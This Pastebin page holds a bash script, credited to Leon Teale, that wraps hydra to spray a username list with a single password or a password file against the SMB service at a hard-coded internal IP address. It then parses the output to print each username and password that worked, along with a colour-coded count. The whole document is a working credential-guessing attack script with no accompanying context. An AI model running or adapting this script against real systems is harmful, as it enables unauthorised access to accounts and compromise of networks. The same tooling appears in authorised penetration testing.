Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Leon Teale - leonteale.co.uk @leonteale
- ## Setting Coloured variables
- red=`echo -e "\033[31m"`
- lcyan=`echo -e "\033[36m"`
- yellow=`echo -e "\033[33m"`
- green=`echo -e "\033[32m"`
- blue=`echo -e "\033[34m"`
- purple=`echo -e "\033[35m"`
- normal=`echo -e "\033[m"`
- if (( $# != 2 ))
- then
- echo "Usage: ./secrev.sh users.txt password"
- echo "or"
- echo "Usage: ./secrev.sh users.txt passwords.txt"
- exit 1
- fi
- input1=$1
- input2=$2
- if [ -f "${input2}" ] ;
- then
- hydra -L $input1 -P $input2 -V 10.21.1.59 smb | grep smb > /tmp/foundpasses.txt
- if
- grep smb /tmp/foundpasses.txt
- then
- clear
- echo ""
- cat /tmp/foundpasses.txt | grep smb | grep -vE "attacking service" | awk {'print "user:"$5, " ", "pass: "$7 '} | column -t
- echo ""
- echo "$yellow Users found with a password from '$2': ($red`cat /tmp/foundpasses.txt | grep smb | grep -vE "attacking service" | wc -l`$yellow)$normal"
- else
- echo "No users found with any password in '$2'"
- fi
- else
- hydra -L $input1 -p $input2 -V 10.21.1.59 smb | grep smb > /tmp/foundpasses.txt
- if
- grep smb /tmp/foundpasses.txt
- then
- clear
- echo ""
- cat /tmp/foundpasses.txt | grep smb | grep -vE "attacking service" | awk {'print "user:"$5, " ", "pass: "$7 '}
- echo ""
- echo "$yellow Users found with password of '$2': ($red`cat /tmp/foundpasses.txt | grep smb | grep -vE "attacking service" | wc -l`$yellow)$normal"
- else
- echo "No users found with the password of '$2'"
- fi
- fi
Add Comment
Please, Sign In to add comment